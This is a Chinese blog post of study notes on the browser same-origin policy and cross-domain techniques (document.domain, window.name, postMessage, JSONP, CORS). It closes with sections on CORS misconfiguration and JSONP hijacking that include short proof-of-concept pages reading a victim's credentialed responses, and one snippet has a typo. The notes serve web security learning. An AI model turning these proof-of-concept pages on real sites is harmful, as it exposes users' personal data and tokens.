同源策略(Same Origin Policy)是一种约定,是浏览器最基本也是最核心的安全功能。可以说Web是构建在同源策略的一种实现。
浏览器的同源策略,限制了来自不同源的“document”或脚本,对当前“document”读取或设置某些属性。
SOP影响范围包括:普通的HTTP请求、XMLHttpRequest、XSLT、XBL。
影响源的因素:
文件所在域不重要,重要的是文件解析加载所在的域。
URL | Outcome | Reason |
---|---|---|
http://blog.twosmi1e.com/dir2/test.html | success | |
http://blog.twosmi1e.com/dir/inner/index.html | success | |
https://blog.twosmi1e.com/secure.html | failure | diffrent protocol |
http://blog.twosmi1e.com:90/dir2/etc.html | failure | diffrent port |
http://code.twosmi1e.com/dir/other.html | failure | diffrent host |
<script> <img> <iframe> <link>
等带src
属性的标签都可以跨域加载资源,而不受同源策略的限制。
每次加载时都会由浏览器发送一次GET请求,通过src
属性加载的资源,浏览器会限制JavaScript的权限,使其不能读写返回的内容。
常见标签:
<script src="..."></script>
<img src="...">
<video src="..."></video>
<audio src="..."></audio>
<embed src="...">
<frame src="...">
<iframe src="..."></iframe>
<link rel="stylesheet" href="...">
<applet code="..."></applet>
<object data="..." ></object>
在CSS中,@font-face
可以引入跨域字体。
<style type="text/css">
@font-face {
src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf");
}
</style>
同一主域不同子域之间默认不同源,但可以设置document.domain
为相同的高级域名来使不同子域同源。
document.domain
只能向上设置更高级的域名,需要载入iframe
来相互操作。
//父域的运行环境是http://localhost:9092/
//同样在部署在同一台服务器上的不同端口的应用也是适用的
<iframe src="http://localhost:9093/b.php" id="iframepage" width="100%" height="100%" frameborder="0" scrolling="yes" onLoad="getData"></iframe>
<script>
window.parentDate = {
"name": "hello world!",
"age": 18
}
/**
* 使用document.domain解决iframe父子模块跨域的问题
*/
let parentDomain = window.location.hostname;
console.log("domain",parentDomain); //localhost
document.domain = parentDomain;
</script>
<script>
/**
* 使用document.domain解决iframe父子模块跨域的问题
*/
console.log(document.domain); //localhost
let childDomain = document.domain;
document.domain = childDomain;
let parentDate = top.parentDate;
console.log("从父域获取到的数据",parentDate);
// 此处打印数据为
// {
// "name": "hello world!",
// "age": 18
// }
</script>
window.name有一个奇妙的性质,
页面如果设置了window.name,那么在不关闭页面的情况下,
即使进行了页面跳转location.href=...,这个window.name还是会保留。
利用window.name的性质,我们可以在iframe中加载一个跨域页面。
这个页面载入之后,让它设置自己的window.name,
然后再让它进行当前页面的跳转,跳转到与iframe外的页面同域的页面,
此时window.name是不会改变的。
这样,iframe内外就属于同一个域了,且window.name还是跨域的页面所设置的值。
假设我们有3个页面,
a.com/index.html
a.com/empty.html
b.com/index.html
(1)在a.com/index.html 页面中嵌入一个iframe,设置src为b.com/index.html
(2)b.com/index.html 载入后,设置window.name,然后再使用location.href='a.com/empty.html' 跳转到与iframe外页面同域的页面中。
(3)在a.com/index.html 页面中,就可以通过$('iframe').contentWindow.name
来获取iframe内页面a.com/empty.html 的window.name
值了,而这个值正是b.com/index.html 设置的。
window.postMessage(message, targetOrgin)
方法是html5新引进的特性。
调用postMessage方法的window对象是指要接受消息的哪一个window对象,该方法的第一个参数message为要发送的消息,类型只能为字符串;第二个参数targetOrgin用来限定接收消息的那个window对象所在的域,如果不想限定域,可以使用通配符*。
需要接收消息的window对象,可是通过监听自身的message时间来获取传过来的消息,消息内容存储在该事件对象的data属性中。
location.hash 方式跨域,是子框架具有修改父框架 src 的 hash 值,通过这个属性进行传递数据,且更改 hash 值,页面不会刷新。但是传递的数据的字节数是有限的。
详细参考:https://www.cnblogs.com/rainman/archive/2011/02/20/1959325.html#m4
a.html欲与b.html跨域相互通信,通过中间页c.html来实现。 三个页面,不同域之间利用iframe的location.hash传值,相同域之间直接js访问来通信。
具体实现步骤:一开始a.html给b.html传一个hash值,然后b.html收到hash值后,再把hash值传递给c.html,最后c.html将结果放到a.html的hash值中。
flash有自己的一套安全策略,服务器可以通过crossdomain.xml文件来声明能被哪些域的SWF文件访问,SWF也可以通过API来确定自身能被哪些域的SWF加载。
具体见:https://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html
JSON with Padding,就是利用script标签没有跨域限制的特性,使得网页可以从其他来源域动态获取Json数据。JSONP跨域请求一定需要对方的服务器支持才可以。
JSONP实现流程:
1.定义一个 回调函数 handleResponse 用来接收返回的数据
function handleResponse(data) {
console.log(data);
};
2.动态创建一个 script 标签,并且告诉后端回调函数名叫 handleResponse
var body = document.getElementsByTagName('body')[0];
var script = document.gerElement('script');
script.src = 'http://test.com/json?callback=handleResponse';
body.appendChild(script);
3.通过 script.src 请求 http://test.com/json?callback=handleResponse,
4.后端能够识别这样的 URL 格式并处理该请求,然后返回 handleResponse({"name": "twosmi1e"}) 给浏览器
5.浏览器在接收到 handleResponse({"name": "twosmi1e"}) 之后立即执行 ,也就是执行 handleResponse 方法,获得后端返回的数据,这样就完成一次跨域请求了。
CORS(Cross-Origin Resource Sharing, 跨源资源共享)是W3C出的一个标准,其思想是使用自定义的HTTP头部让浏览器与服务器进行沟通,从而决定请求或响应是应该成功,还是应该失败。
实现 CORS 通信的关键是服务器。只要服务器实现了 CORS 接口,就可以跨源通信。
大致流程:
浏览器将CORS请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)
HTTP的头信息不超出以下几种字段:Accept、Accept-Language、Content-Language、Content-Type(其值仅限于:application/x-www-form-urlencoded、multipart/form-data、text/plain)
非简单请求:不满足简单请求外的请求。
不满足简单请求条件的请求则要先进行预检请求,即使用OPTIONS方法发起一个预检请求到服务器,用于浏览器询问服务器当前网页所在的域名是否在服务器允许访问的白名单中,以及允许使用哪些HTTP方法和字段等。只有得到服务器肯定的相应,浏览器才会发送正式的XHR请求,否则报错。
在本地做一个泛解析将http://target.com.\*解析到本地,然后构造POC请求目标站点
POC:
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://target.com", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
能获取到一些敏感信息甚至token。
https://github.com/chenjj/CORScanner
CORS 机制的目的是为了解决脚本的跨域资源请求问题,不是为了防止 CSRF。
CSRF一般使用form表单提交请求,而浏览器是不会对form表单进行同源拦截的,因为这是无响应的请求,浏览器认为无响应请求是安全的。
脚本的跨域请求在同源策略的限制下,响应会被拦截,即阻止获取响应,但是请求还是发送到了后端服务器。
相同点:都需要第三方网站;都需要借助Ajax的异步加载过程;一般都需要用户登录目标站点。
不同点:一般CORS漏洞用于读取受害者的敏感信息,获取请求响应的内容;而CSRF则是诱使受害者点击提交表单来进行某些敏感操作,不用获取请求响应内容。
这种漏洞不痛不痒在国内日常被忽略,正则写好写严格就能很好防御,更多的一些利用方式参考https://xz.aliyun.com/t/2745
JSONP劫持实际上也算是CSRF的一种。当某网站使用JSONP的方式来跨域传递一些敏感信息时,攻击者可以构造恶意的JSONP调用页面,诱导被攻击者访问来达到截取用户敏感信息的目的。
苏宁易购多接口问题可泄露用户姓名、地址、订单商品(jsonp案例)
唯品会某处JSONP+CSRF泄露重要信息
新浪微博JSONP劫持之点我链接开始微博蠕虫+刷粉丝
JSON实际应用的时候会有两种传输数据的方式:
xmlhttp获取数据方式:
{"username":"twosmi1e","password":"test123"}
当在前端获取数据的时候,由于数据获取方和数据提供方属于同一个域下面,所以可以使用 xmlhttp的方式来获取数据,然后再用xmlhttp获取到的数据传入自己的js逻辑如eval。
script获取数据方式:
userinfo={"username":"twosmi1e","password":"test123"}
如果传输的数据在两个不同的域,由于在javascript里无法跨域获取数据,所以一般采取script标签的方式获取数据,传入一些callback来获取最终的数据,如果缺乏有效地控制(对referer或者token的检查)就有可能造成敏感信息被劫持。
<script src="http://www.test.com/userdata.php?callback=userinfo"></script>
简单POC:
<script>
function jsonph(json){
alert(JSON.stringify(json))
}
</script>
<script src="https://target.com?callback=jsonph"></script>
SOME(Same Origin Method Execution),同源方式执行,不同于 XSS 盗取用户 cookie 为目的,直接劫持 cookie 经行操作,和 CSRF 攻击很类似,不同的是 CSRF 是构造一个请求,而 SOME 则希望脚本代码被执行。
靶场:https://www.someattack.com/Playground/About
具体可以看:https://www.freebuf.com/articles/web/169873.html
最近学习的这方面知识时做了些笔记,于是有了这篇文章,有什么错误请大佬们指正,前端这块还是挺有意思的。各种小的漏洞组合起来也有很多精彩的利用方式。希望以后也能挖出更多有意思的洞。
一些比较精彩的漏洞挖掘案例:
https://xz.aliyun.com/t/3514
https://www.freebuf.com/articles/web/164069.html
https://www.phpyuan.com/262163.html
https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy
https://www.cnblogs.com/rainman/archive/2011/02/20/1959325.html
https://segmentfault.com/a/1190000009624849
https://www.jianshu.com/p/835bc9534281
https://www.k0rz3n.com/2019/03/07/JSONP%20%E5%8A%AB%E6%8C%81%E5%8E%9F%E7%90%86%E4%B8%8E%E6%8C%96%E6%8E%98%E6%96%B9%E6%B3%95/
https://www.freebuf.com/articles/web/169873.html
https://www.anquanke.com/post/id/97671
http://drops.xmd5.com/static/drops/papers-42.html